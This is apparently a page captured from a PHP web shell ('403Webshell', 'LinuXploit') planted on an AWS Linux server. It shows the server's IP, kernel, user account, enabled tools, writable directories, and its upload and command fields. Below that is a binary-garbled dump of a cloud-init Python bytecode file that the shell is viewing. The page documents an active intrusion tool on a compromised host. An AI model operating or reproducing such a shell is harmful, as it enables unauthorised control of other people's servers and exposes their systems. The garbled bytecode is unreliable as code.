403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cloudinit/sources/__pycache__/DataSourceUpCloud.cpython-39.pyc
a

�½b��@s�ddlmZddlmZddlmZmZddlmZm	Z	ddl
mZe�
e�ZddiZdZd	Zd	ZGd
d�dej�ZGdd
�d
e�ZeejffeejejffgZdd�ZdS)�)�log)�net)�sources�util)�EphemeralDHCPv4�NoDHCPLeaseError)�upcloud�metadata_urlz'http://169.254.169.254/metadata/v1.json��c@sHeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	e
d
d��ZdS)�DataSourceUpCloud�UpCloudFcCs�tj�||||�||_t�|_t�t�|ddgi�t	g�|_
|j
d|_|j
�dt
�|_|j
�dt�|_|j
�dt�|_d|_dS)NZ
datasourcer
r	�retries�timeout�
wait_retry)r�
DataSource�__init__�distro�dict�metadatarZ
mergemanydictZget_cfg_by_path�BUILTIN_DS_CONFIGZds_cfg�metadata_address�get�
MD_RETRIESr�
MD_TIMEOUTr�
MD_WAIT_RETRYr�_network_config)�self�sys_cfgr�paths�r �G/usr/lib/python3.9/site-packages/cloudinit/sources/DataSourceUpCloud.pyr s��zDataSourceUpCloud.__init__cCst��S�N)�	uc_helperZread_sysinfo�rr r r!�_get_sysinfo0szDataSourceUpCloud._get_sysinfocCstj|j|j|j|jd�S)N)rZsec_betweenr)r#Z
read_metadatarrrrr$r r r!�_read_metadata3s�z DataSourceUpCloud._read_metadatac
Cs�|��\}}|sdSt�d|�|jr�z^t�d�t��}t�d|�t|��$tj	tjd|j
d�}Wd�n1sx0YWn<ttj
fy�}zt�tt|��WYd}~dSd}~00njz"t�d�tj	tjd|j
d�}WnFtj
�y,}z*t�tt|��t�d|�WYd}~dSd}~00||_|�d	|�|jd
<|�d�|jd<|�d
�|jd
<|�d�|jd<|�dd�|jd<|�dd�|_|�dd�|_dS)NFz"Running on UpCloud. server_uuid=%szFinding a fallback NICz*Discovering metadata via DHCP interface %szReading from metadata service)Zlogfunc�msg�funcz7Discovering metadata without DHCP-configured networkingzENo DHCP-enabled interfaces available, unable to fetch metadata for %sZinstance_idzinstance-id�hostnamezlocal-hostname�networkZpublic_keyszpublic-keysZregion�defaultZavailability_zoneZvendor_dataZ	user_dataT)r%�LOG�info�perform_dhcp_setup�debug�cloudnetZfind_fallback_nicrrZlog_timer&rrZInvalidMetaDataExceptionZlogexc�strZ
metadata_fullrrZvendordata_rawZuserdata_raw)rZ
is_upcloudZserver_uuidZnicZmd�er r r!�	_get_data;sV

�(��
�zDataSourceUpCloud._get_datacCst�|���Sr")rZinstance_id_matches_system_uuidZget_instance_id)rrr r r!�check_instance_idpsz#DataSourceUpCloud.check_instance_idcCs6|jr|jS|j�d�}|s$td��t�|�|_|jS)z�
        Configure the networking. This needs to be done each boot,
        since the IP and interface information might have changed
        due to reconfiguration.
        r*z/Unable to get network meta-data from server....)rrr�	Exceptionr#Zconvert_network_config)rZraw_network_configr r r!�network_configss�z DataSourceUpCloud.network_configN)�__name__�
__module__�__qualname__Zdsnamer.rr%r&r3r4�propertyr6r r r r!rs5rc@seZdZdZdZdS)�DataSourceUpCloudLocalaz
    Run in init-local using a DHCP discovery prior to metadata crawl.

    In init-local, no network is available. This subclass sets up minimal
    networking with dhclient on a viable nic so that it can talk to the
    metadata service. If the metadata service provides network configuration
    then render the network configuration for that instance based on metadata.
    TN)r7r8r9�__doc__r.r r r r!r;�s	r;cCst�|t�Sr")rZlist_from_depends�datasources)Zdependsr r r!�get_datasource_list�sr>N)Z	cloudinitrZloggingrr0rrZcloudinit.net.dhcprrZcloudinit.sources.helpersrr#Z	getLoggerr7r,rrrrrrr;ZDEP_FILESYSTEMZDEP_NETWORKr=r>r r r r!�<module>s
p
�

Youez - 2016 - github.com/yon3zu
LinuXploit